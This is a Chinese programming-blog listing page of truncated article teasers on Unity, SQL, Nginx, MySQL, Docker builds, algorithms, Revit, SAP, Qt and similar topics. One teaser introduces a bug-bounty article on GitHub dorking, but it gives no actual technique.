1)Unity中可以禁用GC吗2)项目是URP管线,渲染模块CPU耗时高,经排查主要是Batches数过高,应怎样进一步排查和优化渲染批次这是第445篇UWA技术知识分享的推送,精选了UWA社区的热门话题,涵盖了UWA问答、社区帖子等技术知识点,助力大家更全面地掌握和学习。 UWA社区主页:co…...
经典SQL语句大全
经典SQL语句大全一、基础1、说明:创建数据库CREATE DATABASE database-name2、说明:删除数据库drop database dbname3、说明:备份sql server--- 创建 备份数据的 deviceUSE masterEXEC sp_addumpdevice disk, testBack, c:\mssql7backup\MyNwind_1.dat--- 开始 备份BACKUP D…...
IvorySQL 与 deepin 完成兼容性认证,共创开源生态新篇章
近日,IvorySQL 与 deepin 操作系统成功完成了兼容性适配认证。这一里程碑式的成就标志着 IvorySQL 在国产操作系统生态中的进一步深化,为用户提供更稳定、高效的数据库解决方案。deepin 简介 深度操作系统 deepin 是一款以“简洁、美观、易用”著称的国产 Linux 发行版,拥有…...
在 Nginx 上搭建静态站点
1、新建站点的配置文件 vi /etc/nginx/conf.d/www.xxx.com.conf2、写入如下内容: server {listen 80;#listen [::]:80;server_name www.xxx.com; # 这里可以写你的域名,或者 _ 表示匹配所有 root /var/www/www.xxx.com; # 你的静态文件目录 index index.html index.htm;locat…...
使用GitHub Dork快速发现漏洞:我的第一个Bugcrowd漏洞挖掘实战
本文详细介绍了如何通过GitHub Dork技术快速发现企业敏感信息泄露漏洞,包含实用的搜索语法和实际案例,帮助安全研究人员高效挖掘漏洞。使用GitHub Dork快速发现漏洞:我的第一个Bugcrowd漏洞挖掘实战 嗨,黑客们,漏洞猎人们! 祝愿你们发现大量漏洞并获得丰厚奖励! 虽然距离…...
kylin SP3安装mysql8.0.41
环境:OS:kylin SP3mysql:8.0.41 glibc2.17,建议安装glibc.2.28版本 查看系统glibc版本[root@localhost ~]# ldd --versionldd (GNU libc) 2.28Copyright (C) 2018 自由软件基金会。这是一个自由软件;请见源代码的授权条款。本软件不含任何没有担保;甚至不保证适销性或者适合某…...
DIFY 项目中通过 Makefile 调用 Dockerfile 并采用 sudo make build-web 命令构建 web 镜像的方法和注意事项
DIFY 项目中通过 Makefile 调用 Dockerfile 并采用 sudo make build-web 命令构建 web 镜像的方法和注意事项pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas",…...
代码随想录算法训练营第一天 | 704. 二分查找、27. 移除元素、209.长度最小的子数组
704. 二分查找 思路:刷过很多次了,就是双指针思想,初始化一个在数组最左边的指针index_l,一个在最右边的指针index_r,当index_l < index_r 的时候通过判断index_l 和 index_r所确定的区间,缩小区间,最后夹逼出我们的目标值。 注意的点:最终状态会有两个 :1.l与r相等…...
从 MLPerf Storage v2.0 看 AI 训练中的存储性能与扩展能力
8 月 5 日,全球权威 AI 工程联盟 MLCommons 发布了最新的 MLPerf Storage v2.0 基准测试结果。本次评测吸引了众多厂商参与,包括 Cloud、Shared File、Fabric-Attached Block、Direct-Attached Block 这几大类存储厂商。 由于各厂商在硬件配置、节点规模和应用场景上的差异,…...
Revit二次开发 钢筋生成API(二)
2、自由钢筋生成API 创建一条无约束的自由形状钢筋。之后无法对该钢筋添加约束。public static Rebar CreateFreeForm(Document doc,RebarBarType barType,Element host,IList<IList<Curve>> curves,out RebarFreeFormValidationResult error )这个合自由钢筋生成A…...
创建会计凭证报错:FI/CO接口:待更新的不一致的FI/CO凭证标题数据(转)
问题:使用过账BAPI_ACC_DOCUMENT_POST,自动过账时,报错原因是“FI/CO接口:待更新的不一致的FI/CO凭证标题数据”。 原因: 1、如果头数据里面的公司和行项目公司是一致的,检查行项目,不要对行项目赋公司bukrs。 "it_item-comp_code = wa_account-bukrs. 2、检查金额是…...
Uri uri = new Uri(Path); 这行代码的作用
1. 语法校验 字符串里只要多一个空格、少一个 /、中文没转义,后面 HttpClient 会直接炸。 Uri 构造函数会第一时间给你抛 UriFormatException,早发现早处理。 2. 把“一串字符”升级成“有结构的零件箱” 转成 Uri 后,你就能直接拿这些字段,而不用再 Substring、IndexOf 去…...
Qt函数方法传入参数未使用-警告warning错误error提示解决
前言全局说明某些情况下,函数(方法)会传入参数,但并不一定会使用, 但是,不使用编辑器又会警告一、说明 1.1 环境: Windows 7 旗舰版 Visual Studio 2013二、未使用参数解决 原型 Q_UNUSED(未使用参数)三、示例 3.1 文件名: public:MyThread(QWidget *parent = nullptr){Q_…...
mysql 性能监控,关键指标解析与优化案例剖析
你是否经历过数据库突然变慢却无从下手的困境?某金融平台曾因慢查询堆积导致交易响应暴增300%,某电商大促期间因缓冲池命中率骤降引发订单延迟。性能问题往往具备隐蔽性和突发性特征,本文将揭示MySQL监控的核心参数与实战诊断方法。 连接池监控是性能防护的第一道防线。Thre…...
设计模式
1.分类 创建型模式,共五种:工厂方法模式、抽象工厂模式、单例模式、建造者模式、原型模式。 结构型模式,共七种:适配器模式、装饰器模式、代理模式、外观模式、桥接模式、组合模式、享 元模式。 行为型模式,共十一种:策略模式、模板方法模式、观察者模式、迭代子模式、责…...